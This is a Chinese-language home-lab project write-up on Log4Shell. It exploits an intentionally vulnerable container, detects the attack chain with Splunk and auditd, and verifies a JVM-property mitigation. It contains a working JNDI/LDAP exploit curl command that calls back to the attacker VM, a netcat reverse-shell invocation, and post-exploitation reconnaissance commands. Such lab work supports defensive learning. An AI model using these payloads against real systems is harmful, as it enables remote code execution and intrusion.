动手实践项目,演示 Log4Shell 漏洞利用、基于 Splunk 和 auditd 的检测工程,以及在容器化环境中经过验证的修复方案。
一个实战型攻防安全项目,模拟 Log4Shell 漏洞的完整生命周期:从攻击者控制的虚拟机进行漏洞利用、在 Splunk 中进行检测工程,以及验证修复方案。
该领域的大多数作品集项目都只涉及 SSH 暴力破解。我想做一个能展示更全面技能的项目:端到端地利用一个真实的高影响 CVE,然后转向防御侧进行检测和修复,这正是安全工程师或检测工程师在实际工作中经历的完整生命周期。
illshot (192.168.1.85),原生运行 Splunk 用于日志采集和检测ghcr.io/christophetd/log4shell-vulnerable-app(Spring Boot,Log4j 2.14.1,Java 8u181)运行在 Docker 容器中,通过 --log-driver=syslog 将日志管道传输到 Mint 的 syslog1. 设置监听器和利用工具。 在 Kali 上启动 netcat 监听器以捕获反向 shell 回调,然后启动自建的 JNDI-Injection-Exploit 工具(由于没有预编译版本可用,从源码构建)来提供恶意 LDAP 载荷。

2. 发送漏洞利用载荷。 通过包含 JNDI 查找字符串的精心构造的 HTTP 头传递载荷,目标是运行在 8080 端口上的漏洞应用。
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. 捕获 shell。 漏洞应用解析了该头部,触发了 JNDI 查找,并回连到我的 Kali 机器以获取并执行恶意类,最终在容器内以 root 身份获得反向 shell。

利用后侦察(模拟真实攻击者的行为):确认了 root 权限,检查了环境变量(干净,无泄露的密钥),检查了应用 jar 包,并查看了 /etc/passwd,发现了一组未使用的 Alpine 基础镜像服务账户,这是一个很好的示例,说明侦察结果可能具有误导性,并不反映真实的攻击面。
Splunk 采集了 Mint 的 syslog,捕获了完整的攻击链:最初的 JNDI 查找请求、由此产生的 NamingException 和 ClassCastException 堆栈跟踪,以及在主机层面用于与容器交互的相关 sudo docker exec 命令。

在漏洞利用之前,侦察活动也是可见的:UFW 防火墙日志捕获了来自 Kali 针对目标的 Nmap 扫描流量。

本项目的一个关键技术发现:原始的 nc -e /bin/sh 反向 shell 从不通过 PAM 进行身份验证,因此它不会在 auth.log 中产生任何条目,也不会产生任何登录会话。仅凭这一点,这类 shell 对基于登录的标准日志记录来说就是不可见的。
然而,Docker 容器共享主机的内核,而不是运行完全隔离的虚拟化内核。这意味着容器内的每次 execve(进程执行)仍然对主机的审计子系统可见。我在 Mint 上配置了 auditd,用于系统范围地监控 execve 系统调用,为该规则打上标签(container_exec),并将 /var/log/audit/audit.log 作为新的输入源接入 Splunk。

重新触发漏洞利用并运行利用后命令(whoami、cat /etc/passwd、ls /app、env)证实了这一理论:auditd 捕获了每条命令,包括原始的 nc 反向 shell 调用本身,攻击者的 IP 和端口直接显示在记录的参数中。

更广泛的利用后活动也完全可见,这些活动运行在 /bin/busybox 下(容器的极简 shell 将大多数 Unix 工具实现为指向单个 BusyBox 二进制的符号链接,因此 comm 显示为 busybox,而 exe 仍然解析出完整路径):

另一个值得注意的细节:每个捕获的事件都显示 auid=4294967295(未设置/无登录会话)与 uid=0(root)配对。这种组合本身就是非认证 shell 的有力证据——一个以完全 root 权限运行但没有任何审计登录 ID 的进程,这正是绕过正常认证的 shell 所预期的特征。
使用的关键检测查询:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
应用了 Apache 和 CISA 在修补版 Log4j 发布之前公布的官方临时缓解措施:通过 JVM 系统属性禁用 JNDI 消息查找。
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
修复后重新尝试完全相同的攻击链,确认了修复有效:请求仍然到达并被记录,但 JNDI 查找从未被评估,没有回调,没有堆栈跟踪,没有 shell。

这种对比是该项目最清晰的证据:原始攻击生成了包含 136+ 条相关日志事件的完整攻击链,并成功回调。修复后,相同的攻击只生成一条无害的日志行,完全没有下游查找活动。
值得注意的纵深防御要点:即使修复后,漏洞利用尝试仍然在日志中可见。检测价值不会因为漏洞被修补而消失——一个后来被错误配置的已修补系统,或变体载荷,仍然会被这里构建的相同检测查询捕获。